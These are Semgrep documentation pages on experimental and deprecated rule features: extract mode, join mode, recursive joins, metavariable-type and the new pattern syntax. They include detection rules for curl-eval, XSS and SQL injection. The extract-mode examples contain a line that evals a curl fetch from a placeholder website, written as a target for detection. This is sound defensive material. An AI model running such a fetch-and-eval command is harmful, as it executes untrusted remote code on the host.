Source: https://docs.semgrep.dev/writing-rules/experiments/deprecated-experiments
## Equivalences
**NOTE**
This feature was deprecated in Semgrep v0.61.0.
Equivalences enable defining equivalent code patterns (i.e. a commutative property: `$X + $Y <==> $Y + $X`). Equivalence rules use the `equivalences` top-level key and one `equivalence` key for each equivalence.
For example:
## Extract mode
**DEPRECATION NOTICE**
As of Semgrep 1.65.0, extract mode has been deprecated and removed from Semgrep. This feature may return in the future.
Extract mode enables you to run existing rules on subsections of files where the rule language is different than the language of the file. For example, running a JavaScript rule on code contained inside of script tags in an HTML document.
### Example of extract mode
Without extract mode, writing rules to validate template, Markdown or configuration files which contain code in another language can be burdensome and require significant rule duplication.
Let's take the following Bash rule as an example (a simplified version of the [`curl-eval`](https://github.com/semgrep/semgrep-rules/blob/release/bash/curl/security/curl-eval.yaml) rule from the Semgrep Registry):
```yaml theme={null}
rules:
- id: curl-eval
severity: MEDIUM
languages:
- bash
message: Evaluating data from a `curl` command is unsafe.
mode: taint
pattern-sources:
- pattern: |
$(curl ...)
- pattern: |
`curl ...`
pattern-sinks:
- pattern: eval ...
```
Usually, Semgrep uses this rule only against Bash files. However, a project might contain Dockerfiles or Python scripts that invoke Bash commandsβwithout an extract mode rule, Semgrep does **not** run any Bash rules against commands contained in files of different languages.
However, with extract mode, you can provide Semgrep with instructions on how to extract any Bash commands used in a Docker `RUN` instruction or as an argument to Python's `os.system` standard library function.
```yaml theme={null}
rules:
- id: extract-docker-run-to-bash
mode: extract
languages:
- dockerfile
pattern: RUN $...CMD
extract: $...CMD
dest-language: bash
- id: extract-python-os-system-to-bash
mode: extract
languages:
- python
pattern: os.system("$CMD")
extract: $CMD
dest-language: bash
```
By adding the extract mode rules as shown in the previous code snippet, Semgrep matches Bash code contained in the following Python file and reports the contained Bash as matching against the `curl-eval` rule.
```python theme={null}
from os import system
if system('eval `curl -s "http://www.very-secure-website.net"`'):
print("Command failed!")
else:
print("Success")
```
Likewise, if a query included a Dockerfile with an equivalent Bash command, Semgrep reports the contained Bash as matching against the `curl-eval` rule. See the following Dockerfile example that contains a Bash command:
```dockerfile theme={null}
FROM fedora
RUN dnf install -y unzip zip curl which
RUN eval `curl -s "http://www.very-secure-website.net"`
```
### Extract mode rule schema
Extract mode rules **require** the following [usual Semgrep rule keys](/writing-rules/rule-syntax/#required):
* `id`
* `languages`
* One of `pattern`, `patterns`, `pattern-either`, or `pattern-regex`
Extract mode rules **also require** two additional fields:
* `extract`
* `dest-language`
Extract mode has two **optional** fields:
* `reduce`
* `json`
The fields specific to extract mode are further explained in the sections below.
#### `extract`
The `extract` key is required in extract mode. The value must be a metavariable appearing in your pattern(s). Semgrep uses the code bound to the metavariable for subsequent queries of non-extract mode rules targeting `dest-language`.
#### `dest-language`
The `dest-language` key is required in extract mode. The value must be a [language tag](/writing-rules/rule-syntax/#language-extensions-and-languages-key-values).
#### `transform`
The `transform` is an optional key in the extract mode. The value of this key specifies whether the extracted content is parsed as raw source code or as a JSON array.
The value of `transform` key must be one of the following:
`no_transform`
Extract the matched content as raw source code. This is the default value.
`concat_json_string_array`
Extract the matched content as a JSON array. Each element of the array correspond to a line the resulting source code. This value is useful in extracting code from JSON formats such as Jupyter Notebooks.
#### `reduce`
The `reduce` key is optional in extract mode. The value of this key specifies a method to combine the ranges extracted by a single rule within a file.
The value of `reduce` key must be one of the following:
`separate`
Treat all matched ranges as separate units for subsequent queries. This is the **default** value.
`concat`
Concatenate all matched ranges together and treat this result as a single unit for subsequent queries.
### Limitations of extract mode
Although extract mode supports JSON array decoding with the `json` key, it does not support other additional processing for the extracted text, such as unescaping strings.
While extract mode can help to enable rules which try and track taint across a language boundary within a file, taint rules cannot have a source and sink split across the original file and extracted text.
## Turbo Mode
**NOTE**
As of June 16th, 2025, Turbo Mode has been deprecated and removed from the Semgrep Playground.
Turbo Mode was a feature in Semgrep Editor that automatically ran your rule against Semgrep Community Edition (CE) after every keystroke or change to the rule.
# Display propagated value of metavariables
Source: https://docs.semgrep.dev/writing-rules/experiments/display-propagated-metavariable
This document provides information about experimental syntax supplement to [Display matched metavariables in rule messages](/writing-rules/pattern-syntax#display-matched-metavariables-in-rule-messages). Semgrep enables you to display values of matched metavariables in rule messages. However, in some cases, the matched value of the metavariable is not the real value you were looking for.
See the following rule message and part of a Semgrep rule (formula):
```yaml theme={null}
- message: >-
Creating a buffer using $X
- patterns:
- pattern: byte[] buf = new byte[$X];
- metavariable-comparison:
metavariable: $X
comparison: $X < 2048
```
Testing code:
```java theme={null}
int size = 512;
byte[] buf = new byte[size];
```
Semgrep matches this code because it performs constant propagation. Therefore, Semgrep recognizes that the value of `size` is `512`. Consequently, Semgrep evaluates that the buffer size is less than `2048`. But what is the value of `$X`?
If the rule message states `Creating a buffer using $X`, the resulting message output is not helpful in this particular case:
```
Creating a buffer using size
```
This is caused by the value of `$X` within the code, which is `size`. However, the underlying value of `size` is `512`. The goal of the rule message is to access this underlying value in our message.
To retrieve the correct value in the case described above, use `value($X)` in the rule message (for example (`Creating a buffer using value($X)`). Semgrep replaces the `value($X)` with the underlying propagated value of the metavariable `$X` if it computes one (otherwise, Semgrep uses the matched value).
**INFO**
Regular Semgrep syntax for displaying matched metavariables in rule messages is for example `$X`. For specific propagated values, use experimental syntax `value($X)` instead. For more information about the standard syntax, see [Displaying matched metavariables in rule messages](/writing-rules/pattern-syntax#display-matched-metavariables-in-rule-messages).
Run the following example in Semgrep Playground to see the message (click **Open in Editor**, and then **Run**, unroll the **1 Match** to see the message):
# Introduction to Semgrep experiments
Source: https://docs.semgrep.dev/writing-rules/experiments/introduction
The experiments category documents experimental features and the way you can use them. In the future, as it is the nature of experiments, some of these experiments can become deprecated, and others can become generally available (GA), meaning that GA features are fully supported parts of Semgrep. If a feature is deprecated, its documentation is moved to the [Deprecated experiments](/writing-rules/experiments/deprecated-experiments) document. If a feature becomes GA, its docs are moved to a relevant category outside of the experiments section.
Enjoy the experiments, tweak the code, and most importantly, share your thoughts! If you see any issues with the experimental features, please [file a bug](https://github.com/semgrep/semgrep/issues/new/choose).
# Join mode overview
Source: https://docs.semgrep.dev/writing-rules/experiments/join-mode/overview
Join mode runs several Semgrep rules at once and only returns results if certain conditions on the results are met. Join mode is an experimental mode that lets you cross file boundaries, allowing you to write rules for whole code bases instead of individual files. As the name implies, this was inspired by join clauses in SQL queries.
Think of join mode like this: distinct Semgrep rules are used to gather information about a code base. Then, the conditions you define are used to select specific results from these rules, and the selected results are reported by Semgrep. You can join results on metavariable contents or on the result's file path.
**INFO**
You can also use cross-file (interfile) analysis. For more information, see [ Perform cross-file analysis](/semgrep-code/semgrep-pro-engine-intro). Cross-file analysis is preferred over join mode where either of the two are feasible. Neither is currently available in Semgrep Community Edition (CE).
## Example
Hereβs an example join mode rule that detects a cross-site scripting (XSS) vulnerability with high precision.
```yaml expandable theme={null}
rules:
- id: flask-likely-xss
mode: join
join:
refs:
- rule: flask-user-input.yaml
as: user-input
- rule: unescaped-template-extension.yaml
as: unescaped-extensions
- rule: any-template-var.yaml
renames:
- from: '$...EXPR'
to: '$VAR'
as: template-vars
on:
- 'user-input.$VAR == unescaped-extensions.$VALUE'
- 'unescaped-extensions.$VAR == template-vars.$VAR'
- 'unescaped-extensions.$PATH > template-vars.path'
message: |
Detected a XSS vulnerability: '$VAR' is rendered
unsafely in '$PATH'.
severity: HIGH
```
Let's explore how this works. First, some background on the vulnerability. Second, we'll walk through the join mode rule.
**Vulnerability background**
In Flask, templates are only HTML-escaped if the [template file ends with the `.html` extension](https://flask.palletsprojects.com/en/2.0.x/templating/#jinja-setup). Therefore, detecting these two conditions present in a Flask application is a high indicator of
1. User input directly enters a template without the `.html` extension
2. The user input is directly rendered in the template
**Join mode rule explanation**
Now, let's turn these conditions into the join mode rule. We need to find three code patterns:
1. User input
2. Templates without the `.html` extension
3. Variables rendered in a template
We can write individual Semgrep rules for each of these code patterns.
```yaml theme={null}
rules:
- id: flask-user-input
languages: [python]
severity: LOW
message: $VAR
pattern: '$VAR = flask.request.$SOMETHING.get(...)'
```
```yaml theme={null}
rules:
- id: unescaped-template-extension
message: |
Flask does not automatically escape Jinja templates unless they have
.html as an extension. This could lead to XSS attacks.
patterns:
- pattern: flask.render_template("$PATH", ..., $VAR=$VALUE, ...)
- metavariable-pattern:
metavariable: $PATH
language: generic
patterns:
- pattern-not-regex: .*\.html$
languages: [python]
severity: MEDIUM
```
```yaml theme={null}
rules:
- id: any-template-var
languages: [generic]
severity: LOW
message: '$...EXPR'
pattern: '{{ $...EXPR }}'
```
Finally, we want to "join" the results from these together. Below are the join conditions, in plain language.
1. The variable `$VAR` from `flask-user-input` has the same content as the value `$VALUE` from `unescaped-template-extension`
2. The keyword argument `$VAR` from `unescaped-template-extension` has the same content as `$...EXPR` from `any-template-var`
3. The template file name `$PATH` from `unescaped-template-extension` is a substring of the file path of a result from `any-template-var`
We can translate these roughly into the following condition statements.
```
- 'user-input.$VAR == unescaped-extensions.$VALUE'
- 'unescaped-extensions.$VAR == template-vars.$VAR'
- 'unescaped-extensions.$PATH > template-vars.path'
```
Combining the three code pattern Semgrep rules and the three conditions gives us the join rule at the top of this section. This rule matches the code displayed below.
```bash theme={null}
> semgrep -f flask-likely-xss.yaml
running 1 rules...
running 3 rules...
ran 3 rules on 16 files: 14 findings
matching...
matching done.
./templates/launch.htm.j2
severity:error rule:flask-likely-xss: Detected a XSS vulnerability: '$VAR' is rendered unsafely in '$PATH'.
9:
person_name_full is {{ person_name_full }}
```
**Helpers**
For convenience, when writing a join mode rule, you can use the `renames` and `as` keys.
The `renames` key lets you rename metavariables from one rule to something else in your conditions. **This is necessary for named expressions, e.g., `$...EXPR`.**
The `as` key behaves similarly to `AS` clauses in SQL. This lets you rename the result set for use in the conditions. If the `as` key is not specified, the result set uses the **rule ID**.
## Syntax
### `join`
The `join` key is required when in join mode. This is just a top-level key that groups the join rule parts together.
#### Inline rule example
The following rule attempts to detect cross-site scripting in a Flask application by checking whether a template variable is rendered unsafely through Python code.
```yaml expandable theme={null}
rules:
- id: flask-likely-xss
mode: join
join:
rules:
- id: user-input
pattern: |
$VAR = flask.request.$SOMETHING.get(...)
languages: [python]
- id: unescaped-extensions
languages: [python]
patterns:
- pattern: |
flask.render_template("$TEMPLATE", ..., $KWARG=$VAR, ...)
- metavariable-pattern:
metavariable: $TEMPLATE
language: generic
patterns:
- pattern-not-regex: .*\.html$
- id: template-vars
languages: [generic]
pattern: |
{{ $VAR }}
on:
- 'user-input.$VAR == unescaped-extensions.$VAR'
- 'unescaped-extensions.$KWARG == template-vars.$VAR'
- 'unescaped-extensions.$TEMPLATE < template-vars.path'
message: |
Detected a XSS vulnerability: '$VAR' is rendered
unsafely in '$TEMPLATE'.
severity: HIGH
```
The required fields under the `rules` key are the following:
* `id`
* `languages`
* A set of `pattern` clauses.
The optional fields under the `rules` key are the following:
* `message`
* `severity`
**NOTE**
Refer to the metavariables captured by the rule in the `on` conditions by the rule `id`. For inline rules, aliases do **not** work.
### `refs`
Short for references, `refs` is a list of external rules that make up your code patterns. Each entry in `refs` is an object with the required key `rule` and optional keys `renames` and `as`.
### `rule`
Used with `refs`, `rule` points to an external rule location to use in this join rule. Even though Semgrep rule files can typically contain multiple rules under the `rules` key, join mode **only uses the first rule in the provided file**.
Anything that works with `semgrep --config ` also works as the value for `rule`.
### `renames`
An optional key for an object in `refs`, `renames` renames the metavariables from the associated `rule`. The value of `renames` is a list of objects whose keys are `from` and `to`. The `from` key specifies the metavariable to rename, and the `to` key specifies the new name of the metavariable.
**WARNING**
Renaming is necessary for named expressions, e.g., `$...EXPR`.
### `as`
An optional key for an object in `refs`, `as` lets you specify an alias for the results collected by this rule for use in the `on` conditions. Without the `as` key, the default name for the results collected by this rule is the rule ID of the rule in `rule`. If you use `as`, the results can be referenced using the alias specified by `as`.
### `on`
The `on` key is required in join mode. This is where the join conditions are listed. The value of `on` is a list of strings which have the format:
```
..
```
`result_set` is the name of the result set produced by one of the `refs`. See the `as` key for more information.
`property` is either a metavariable, such as `$VAR`, or the keyword `path`, which returns the path of the finding.
`operator` is one of the following.
| Operator | Example | Description |
| -------- | --------------------------------------------------- | ---------------------------------------------------------------------- |
| `==` | `secret-env-var.$VALUE == log-statement.$FORMATVAR` | Matches when the contents of both sides are exactly equal. |
| `!=` | `url-allowlist.$URL != get-request.$URL` | Matches when the contents of both sides are not equal. |
| `<` | `template-var.path < unsafe-template.$PATH` | Matches when the right-hand side is a substring of the left-hand side. |
| `>` | `unsafe-template.$PATH > template-var.path` | Matches when the left-hand side is a substring of the right-hand side. |
## Limitations
Join mode **is not taint mode**! While it can look on the surface like join mode is "connecting" things together, it is actually just creating sets for each Semgrep rule and returning all the results that meet the conditions. This means some false positives will occur if unrelated metavariable contents happen to have the same value.
To use join mode with `refs`, you must define your individual Semgrep rules in independent locations. This can be anything that works with `semgrep --config `, such as a file, a URL, or a Semgrep registry pointer like `r/java.lang.security.some.rule.id`.
Join mode requires login, and does not work in the Semgrep Playground or Semgrep Editor, as it is an experimental feature.
Currently, join mode only reports the code location of the **last finding that matches the conditions**. Join mode parses the conditions from top-to-bottom, left-to-right. This means that findings from the "bottom-right" condition become the reported code location.
## More ideas
Join mode effectively lets you ask questions of entire code bases. Here are some examples of the kinds of questions you can use join mode to answer.
* Do any of my dependencies use `dangerouslySetInnerHTML`, and do I directly import that dependency?
* Does a key in this JSON file have a dangerous value, and do I load this JSON file and use the key in a dangerous function?
* Is an unsafe variable rendered in an HTML template?
# Recursive joins
Source: https://docs.semgrep.dev/writing-rules/experiments/join-mode/recursive-joins
Join mode is an extension of Semgrep that runs multiple rules at once and only returns results if certain conditions are met. This is an experimental mode that enables you to cross file boundaries, allowing you to write rules for whole codebases instead of individual files. More information is available in [Join mode overview](/writing-rules/experiments/join-mode/overview).
Recursive join mode has a recursive operator, `-->`, which executes a recursive query on the given condition. This recursive operator allows you to write a Semgrep rule that effectively crawls the codebase on a condition you specify, letting you build chains such as function call chains or class inheritance chains.
## Understanding recursive join mode
In the background, join rules turn captured metavariables into database table columns. For example, a rule with `$FUNCTIONNAME`, `$FUNCTIONCALLED`, and `$PARAMETER` is a table similar to the following:
| `$FUNCTIONNAME` | `$FUNCTIONCALLED` | `$PARAMETER` |
| --------------- | ----------------- | ------------ |
| getName | writeOutput | user |
| getName | lookupUser | uid |
| lookupUser | databaseQuery | uid |
The join conditions then join various tables together and return a result if any rows match the criteria.
Recursive join mode conditions use [recursive joins](https://www.sqlite.org/lang_with.html#recursive_common_table_expressions) to construct a table that recursively joins with itself. For example, you can use a Semgrep rule that gets all function calls and join them recursively to approximate a callgraph.
Consider the following Python script and rule.
```python theme={null}
def function_1():
print("hello")
function_2()
def function_2():
function_4()
def function_3():
function_5()
def function_4():
function_5()
def function_5():
print("goodbye")
```
```yaml theme={null}
rules:
- id: python-callgraph
message: python callgraph
languages: [python]
severity: LOW
pattern: |
def $CALLER(...):
...
$CALLEE(...)
```
A join condition such as the following: `python-callgraph.$CALLER --> python-callgraph.$CALLEE` produces a table below. Notice how `function_1` appears with `function_4` and `function_5` as callees, even though it is not directly called.
| `$CALLER` | `$CALLEE` |
| ----------- | ----------- |
| function\_1 | function\_2 |
| function\_1 | function\_4 |
| function\_1 | function\_5 |
| function\_1 | print |
| function\_2 | function\_4 |
| function\_2 | function\_5 |
| function\_3 | function\_5 |
| function\_4 | function\_5 |
| function\_5 | print |
## Example rule
It's important to think of a join mode rule as "asking questions about the whole project", rather than looking for a single pattern. For example, to find an SQL injection, you need to understand a few things about the project:
1. Is there any user input?
2. Do any functions manually build an SQL string using function input?
3. Can the user input reach the function that manually builds the SQL string?
Now, you can write individual Semgrep rules that gather information about each of these questions. This example uses [Vulnado](https://github.com/ScaleSec/vulnado) for finding an SQL injection. Vulnado is a Spring application.
The first rule searches for user input into the Spring application. This rule also captures sinks that use a user-inputtable parameter as an argument.
```yaml theme={null}
rules:
- id: java-spring-user-input
message: user input
languages: [java]
severity: LOW
mode: taint
pattern-sources:
- pattern: |
@RequestMapping(...)
$RETURNTYPE $USERINPUTMETHOD(..., $TYPE $PARAMETER, ...) {
...
}
pattern-sinks:
- patterns:
- pattern: $OBJ.$SINK(...)
- pattern: $PARAMETER
```
A second rule looks for all methods in the application that build an SQL string with a method parameter.
```yaml theme={null}
rules:
- id: method-parameter-formatted-sql
message: method uses parameter for sql string
languages: [java]
severity: LOW
patterns:
- pattern-inside: |
$RETURNTYPE $METHODNAME(..., $TYPE $PARAMETER, ...) {
...
}
- patterns:
- pattern-either:
- pattern: |
"$SQLSTATEMENT" + $PARAMETER
- pattern: |
String.format("$SQLSTATEMENT", ..., $PARAMETER, ...)
- metavariable-regex:
metavariable: $SQLSTATEMENT
regex: (?i)(select|delete|insert).*
```
Finally, the third rule is used to construct a pseudo-callgraph:
```yaml theme={null}
rules:
- id: java-callgraph
languages: [java]
severity: LOW
message: $CALLER calls $OBJ.$CALLEE
patterns:
- pattern-inside: |
$TYPE $CALLER(...) {
...
}
- pattern: $OBJ.$CALLEE(...)
```
The join rule, is displayed as follows:
```yaml theme={null}
rules:
- id: spring-sql-injection
message: SQLi
severity: HIGH
mode: join
join:
refs:
- rule: rule_parts/java-spring-user-input.yaml
as: user-input
- rule: rule_parts/method-parameter-formatted-sql.yaml
as: formatted-sql
- rule: rule_parts/java-callgraph.yaml
as: callgraph
on:
- 'callgraph.$CALLER --> callgraph.$CALLEE'
- 'user-input.$SINK == callgraph.$CALLER'
- 'callgraph.$CALLEE == formatted-sql.$METHODNAME'
```
The `on:` conditions, in order, read as follows:
* Recursively generate a pseudo callgraph on `$CALLER` to `$CALLEE`.
* Match when a method with user input has a `$SINK` that is the `$CALLER` in the pseudo-callgraph.
* Match when the `$CALLEE` is the `$METHODNAME` of a method that uses a parameter to construct an SQL string.
Running this on Vulnado produces tables that look like this:
| `$RETURNTYPE` | `$USERINPUTMETHOD` | `$TYPE` | `$PARAMETER` | `$OBJ` | `$SINK` |
| ------------- | ------------------ | ------------ | ------------ | ------ | ------- |
| ... | ... | ... | ... | ... | ... |
| LoginResponse | login | LoginRequest | input | user | token |
| LoginResponse | login | LoginRequest | input | User | getUser |
| ... | ... | ... | ... | ... | ... |
| `$RETURNTYPE` | `$METHODNAME` | `$TYPE` | `$PARAMETER` | `$SQLSTATEMENT` |
| ------------- | ------------- | ------- | ------------ | --------------------------------------- |
| ... | ... | ... | ... | ... |
| User | fetch | String | un | select \* from users where username = ' |
| ... | ... | ... | ... | ... |
| `$CALLER` | `$CALLEE` |
| --------- | --------- |
| ... | ... |
| login | getUser |
| login | fetch |
| getUser | fetch |
| ... | ... |
The join conditions select rows which meet the conditions.
* Match when a method with user input has a $SINK that is the $CALLER in the pseudo-callgraph.
| ... | `user-input.$SINK` | == | `callgraph.$CALLER` | ... |
| --- | ------------------ | -- | ------------------- | --- |
| ... | getUser | == | getUser | ... |
* Match when the $CALLEE is the $METHODNAME of a method that uses a parameter to construct an SQL string.
| ... | `callgraph.$CALLEE` | == | `formatted-sql.$METHODNAME` | ... |
| --- | ------------------- | -- | --------------------------- | --- |
| ... | fetch | == | fetch | ... |
```console theme={null}
(semgrep) β join_mode_demo semgrep -f vulnado-sqli.yaml vulnado
Running 1 rules...
Running 3 rules...
100%|ββββββββββββββββββββββββββ|3/3
ran 3 rules on 11 files: 158 findings
vulnado/src/main/java/com/scalesec/vulnado/User.java
rule:spring-sql-injection: SQLi
55: String query = "select * from users where username = '" + un + "' limit 1";
ran 0 rules on 0 files: 1 findings
```
## Limitations
Join mode only works on the metavariable contents, which means it's fundamentally operating with text strings and not code constructs. There will be some false positives if similarly-named metavariables are extracted.
## Use cases
* Approximating callgraphs in a project
* Approximating class inheritance
# Match captured metavariables with specific types
Source: https://docs.semgrep.dev/writing-rules/experiments/metavariable-type
The `metavariable-type` operator is used to compare metavariables against their types. It utilizes the `type` key to specify the string representation of the type expression in the target language. For example, you can use `String` for Java's String type and `string` for Go's string type. Optionally, the `language` key can be used to manually indicate the target language of the type expression.
`metavariable-type` provides several advantages over typed metavariables. Firstly, it removes the requirement for users to memorize special syntax for defining typed metavariables in various target languages. Moreover, `metavariable-type` enables users to extract type expressions from the pattern expression and include them in other conditional filters for metavariables. This improves the readability of rules and promotes better organization of the code.
For instance, the following rule that identifies potentially unsafe usage of the referential equality operator when comparing String objects in Java:
```yaml theme={null}
rules:
- id: no-string-eqeq
severity: MEDIUM
message: Avoid using the referential equality operator when comparing String objects
languages:
- java
patterns:
- pattern-not: null == (String $Y)
- pattern: $X == (String $Y)
```
can be modified to the following rule:
```yaml theme={null}
rules:
- id: no-string-eqeq
severity: MEDIUM
message: Avoid using the referential equality operator when comparing String objects
languages:
- java
patterns:
- pattern-not: null == $Y
- pattern: $X == $Y
- metavariable-type:
metavariable: $Y
type: String
```
## Supported languages
The `metavariable-type` operator can be used for the following languages:
* C
* C#
* C++
* Go
* Java
* Julia
* Kotlin
* Move On Aptos
* Move On Sui
* PHP
* Python
* Rust
* Scala
* TypeScript
# Include multiple focus metavariables using set union semantics
Source: https://docs.semgrep.dev/writing-rules/experiments/multiple-focus-metavariables
Semgrep matches all pieces of code captured by focus metavariables when you specify them in a rule. Specify the metavariables you want to focus on in a YAML list format.
**INFO**
This feature is using `focus-metavariable`, see [`focus-metavariable`](/writing-rules/rule-syntax/#focus-metavariable) documentation for more information.
There are two ways in which you can include multiple focus metavariables:
* **Set union**: Experimental feature described below in the section [Set union](#set-union). This feature returns the union of all matches of the specified metavariables.
* **Set intersection**: Only matches the overlapping region of all the focused code. For more information, see [Including more focus metavariables using set intersection semantics](/writing-rules/rule-syntax/#including-multiple-focus-metavariables-using-set-intersection-semantics).
## Set union
For example, there is a pattern that binds several metavariables. You want to produce matches focused on two or more of these metavariables. If you specify a list of metavariables under `focus-metavariable`, each focused metavariable matches code independently of the others.
```yaml theme={null}
patterns:
- pattern: foo($X, ..., $Y)
- focus-metavariable:
- $X
- $Y
```
This syntax enables Semgrep to match these metavariables regardless of their position in code. See the following example:
**TIP**
Among many use cases, the **set union** syntax allows you to simplify taint analysis rule writing. For example, see the following rule:
# Pattern syntax (experimental)
Source: https://docs.semgrep.dev/writing-rules/experiments/pattern-syntax
Patterns are the expressions Semgrep uses to match code when it scans for vulnerabilities. This article describes the new syntax for Semgrep pattern operators. See [Pattern syntax](/writing-rules/pattern-syntax) for information on the existing pattern syntax.
There is often a one-to-one translation from the existing syntax to the experimental syntax. These changes are marked with . However, some changes are quite different. These changes are marked with
**WARNING**
* These patterns are **experimental** and subject to change.
* You can't mix and match existing pattern syntax with the experimental syntax.
## `pattern`
The `pattern` operator looks for code matching its expression in the existing syntax. However, `pattern` is no longer required when using the experimental syntax. For example, you can use `...` wherever `pattern: "...``` appears. For example, you can omit `pattern\` and write the following:
```yaml theme={null}
any:
- "badthing1"
- "badthing2"
- "badthing3"
```
or, for multi-line patterns
```yaml theme={null}
any:
- |
manylines(
badthinghere($A)
)
- |
orshort()
```
You don't need double quotes for a single-line pattern when omitting the `pattern` key, but note that this can cause YAML parsing issues.
As an example, the following YAML parses:
```yaml theme={null}
any:
- "def foo(): ..."
```
This, however, causes problems since `:` is also used to denote a YAML dictionary:
```yaml theme={null}
any:
- def foo(): ...
```
### `any`
Replaces [pattern-either](/writing-rules/rule-syntax/#pattern-either). Matches any of the patterns specified.
```yaml theme={null}
any:
-
-
...
-
```
### `all`
Replaces [patterns](/writing-rules/rule-syntax/#patterns). Matches all of the patterns specified.
```yaml theme={null}
all:
-
-
...
-
```
### `inside`
Replaces [pattern-inside](/writing-rules/rule-syntax/#pattern-inside). Match any of the sub-patterns inside the primary pattern.
```yaml theme={null}
inside:
any:
-
-
```
Alternatively:
```yaml theme={null}
any:
- inside:
- inside:
```
### `not`
Replaces [pattern-not](/writing-rules/rule-syntax/#pattern-not). Accepts any pattern and does **not** match on those patterns.
```yaml theme={null}
not:
any:
-
-
```
Alternatively:
```yaml theme={null}
all:
- not:
- not:
```
### `regex`
Replaces [pattern-regex](/writing-rules/rule-syntax/#pattern-regex). Matches based on the regex provided.
```yaml theme={null}
regex: "(.*)"
```
## Metavariables
Metavariables are an abstraction to match code when you don't know the value or contents beforehand. They're similar to [capture groups](https://regexone.com/lesson/capturing_groups) in regular expressions and can track values across a specific code scope. This
includes variables, functions, arguments, classes, object methods, imports,
exceptions, and more.
Metavariables begin with a `$` and can only contain uppercase characters, `_`, or digits. Names like `$x` or `$some_value` are invalid. Examples of valid metavariables include `$X`, `$WIDGET`, or `$USERS_2`.
### `where`
Unlike Semgrep's existing pattern syntax, the following operators no longer occur under `pattern` or `all`:
* `metavariable-pattern`
* `metavariable-regex`
* `metavariable-comparison`
* `metavariable-analysis`
* `focus-metavariable`
These operators must occur within a `where` clause.
A `where` clause is required in a pattern where you're using metavariable operators. It indicates that Semgrep should match based on the pattern if all the conditions are proper.
As an example, take a look at the following:
```yaml theme={null}
all:
- inside: |
def $FUNC(...):
...
- |
eval($X)
where:
-
```
Because the `where` clause is on the same indentation level as `all`, Semgrep understands that everything under `where` must be paired with the entire `all` pattern. As such, the results of the ranges matched by the `all` pattern are modified by the `where` pattern, and the output includes some final set of ranges that are matched.
### `metavariable`
Replaces:
* [metavariable-regex](/writing-rules/rule-syntax/#metavariable-regex)
* [metavariable-pattern](/writing-rules/rule-syntax/#metavariable-pattern)
* [metavariable-analysis](/writing-rules/metavariable-analysis)
This operator looks inside the metavariable for a match.
```yaml theme={null}
...
where:
- metavariable: $A
regex: "(.*)
- metavariable: $B
patterns: |
- "foo($C)"
- metavariable: $D
analyzer: entropy
```
### `comparison`
Replaces [metavariable-comparison](/writing-rules/rule-syntax/#metavariable-comparison). Compares metavariables against a basic [Python comparison](https://docs.python.org/3/reference/expressions.html#comparisons) expression.
```yaml theme={null}
...
where:
- comparison: $A == $B
```
### `focus`
Replaces [focus-metavariable](/writing-rules/rule-syntax/#focus-metavariable). Puts focus on the code region matched by a single metavariable or a list of metavariables.
```yaml theme={null}
...
where:
- focus: $A
```
## `as-metavariable`
> `as-metavariable` is only available in the new syntax.
`as-metavariable` is a rule-writing feature that bridges the gap between metavariables and matches. Metavariables gain access to features like `metavariable-comparison`, `metavariable-regex`, and `metavariable-pattern`, but they cannot be used on arbitrary matches. However, the `as` operator lets you embed arbitrary matches into metavariables or bind arbitrary matches to a name.
The syntax is as follows:
```yaml theme={null}
all:
- pattern: |
@decorator
def $FUNC(...):
...
as: $DECORATED_FUNC
```
Since `as` appears in the same indentation as the `pattern`, Semgrep couples the two. This augmented `pattern` operator matches the enclosed pattern, but produces an environment where `$DECORATED_FUNC` is bound to the match it corresponds to. So, for instance, the following rule:
```yaml theme={null}
match:
pattern: |
@decorator
def $FUNC(...):
...
as: $DECORATED_FUNC
fix: |
@another_decorator
$DECORATED_FUNC
```
Allows you to capture the decorated function. You can then use it in, for example, Rule-defined fix's metavariable or metavariable ellipses interpolation, where you express something like "rewrite X, but with Y."
## Syntax search mode
New syntax search mode rules must be nested underneath a top-level `match` key. For example:
```yaml theme={null}
rules:
- id: find-bad-stuff
severity: HIGH
languages: [python]
message: |
Don't put bad stuff!
match:
any:
- |
eval(input())
- all:
- inside: |
def $FUNC(..., $X, ...):
...
- |
eval($X)
```
## Taint mode
The new syntax supports taint mode, and such roles no longer require `mode: taint` in the rule. Instead, everything must be nested under a top-level `taint` key.
```yaml theme={null}
rules:
- id: find-bad-stuff
severity: HIGH
languages: [python]
message: |
Don't put bad stuff!
taint:
sources:
- input()
sinks:
- eval(...)
propagators:
- pattern: |
$X = $Y
from: $Y
to: $X
sanitizers:
- magiccleanfunction(...)
```
### Taint mode key names
The key names for the new syntax taint rules are as follows:
* `pattern-sources` --> sources
* `pattern-sinks` --> sinks
* `pattern-propagators` --> propagators
* `pattern-sanitizers` --> sanitizers
# r2c-internal-project-depends-on
Source: https://docs.semgrep.dev/writing-rules/experiments/r2c-internal-project-depends-on
This Semgrep rules key allows specifying third-party dependencies along with the semver (semantic version) range that should trigger the rule. The `r2c-internal-project-depends-on` filters the rule unless one of the children is matched by a manifest file or lockfile.
We welcome external contributors to try out the key, but keep in mind there's no expectation of stability across releases yet. **The API and behavior of this feature is subject to change**.
In the rules.yaml, specify `r2c-internal-project-depends-on` key either as a dependency, or a sequence of dependencies with `depends-on-either` key (see the example below).
A dependency consists of three keys:
* `namespace`: The package registry where the third-party dependency is found.
* `package`: The name of the third-party dependency as it appears in the manifest file or lockfile.
* `version`: A semantic version range. Uses [Python packaging specifiers](https://packaging.pypa.io/en/latest/specifiers.html) which support almost all NPM operators, except for `^`.
So a `r2c-internal-project-depends-on` key will either look like this:
```yaml theme={null}
r2c-internal-project-depends-on:
namespace: ...
package: ...
version: ...
```
Or it can have the following layout with `depends-on-either`:
```yaml theme={null}
r2c-internal-project-depends-on:
depends-on-either:
- namespace: ...
package: ...
version: ...
- namespace: ...
package: ...
version: ...
...
```
## Example
Here is an example `r2c-internal-project-depends-on` rule that searches for a known vulnerable version of the AWS CLI from April 2017, but only reports the vulnerability if the `s3` module (where the vulnerability is located) is actually used:
```yaml theme={null}
rules:
- id: vulnerable-awscli-apr-2017
severity: MEDIUM
pattern-either:
- pattern: boto3.resource('s3', ...)
- pattern: boto3.client('s3', ...)
r2c-internal-project-depends-on:
namespace: pypi
package: awscli
version: "<= 1.11.82"
message: this version of awscli is subject to a directory traversal vulnerability in the s3 module
languages: [python]
```
## Findings of r2c-internal-project-depends-on
Findings produced by rules with the `r2c-internal-project-depends-on` can be of two types: *reachable* and *nonreachable*.
* A *reachable* finding is one with both a dependency match and a pattern match: a vulnerable dependency was found and the vulnerable part of the dependency (according to the patterns in the rule) is used somewhere in the code.
